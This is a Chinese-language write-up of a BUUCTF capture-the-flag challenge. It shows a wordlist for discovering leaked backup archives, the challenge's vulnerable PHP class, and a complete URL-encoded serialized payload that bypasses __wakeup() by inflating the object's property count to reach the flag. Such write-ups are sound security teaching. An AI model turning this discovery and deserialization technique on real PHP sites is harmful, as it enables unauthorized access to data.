审thinkphp审吐了。。。根本看不懂代码。。。各种函数跳。。。感觉自己的头发都掉了很多。。。来打打BUUCTF的题目来放松一下。。
备份文件 反序列化 代码审计 和猫玩
首先进去环境,看到
因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯不愧是我!!!
很明显提示存在备份文件。试了几个常见的swp、~、bak等,发现还是没出,以为是git泄露之类的。但是因为BUUCTF限制了访问,用dirsearc扫的话会429,自己控制参数来放慢扫描速率的话扫的太慢了。。。因此直接试了试git泄露,发现还是不行。 上网查了查各种备份文件,整理成了个字典,用burp扫,扫出来是www.zip:
.index.php.swp index.php.swp index.php.bak .index.php~ index.php.bak_Edietplus index.php.~ index.php.~1~ index.php index.php~ index.php.rar index.php.zip index.php.7z index.php.tar.gz www.zip www.rar www.zip www.7z www.tar.gz www.tar web.zip web.rar web.zip web.7z web.tar.gz web.tar wwwroot.rar web.rar下载下来,发现重要的是flag.php,index.php和class.php。 flag.php并没有什么用。里面没有真的flag。index.php里面get传了一个参数select,然后进行反序列化。class.php里面构造了一个类,具体如下:
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>要想得到flag要username是admin且password是100。但是反序列化的时候需要绕过__wakeup(),绕过的方式比较简单,这里直接给解法。
先自己构造:
<?php class Name{ private $username = 'admin'; private $password = 100; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a=new Name('admin',100); $b=urlencode(serialize($a)); echo $b; ?>将输出的结果中的那个2改成3:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D然后再get传给select,就可以成功得到flag: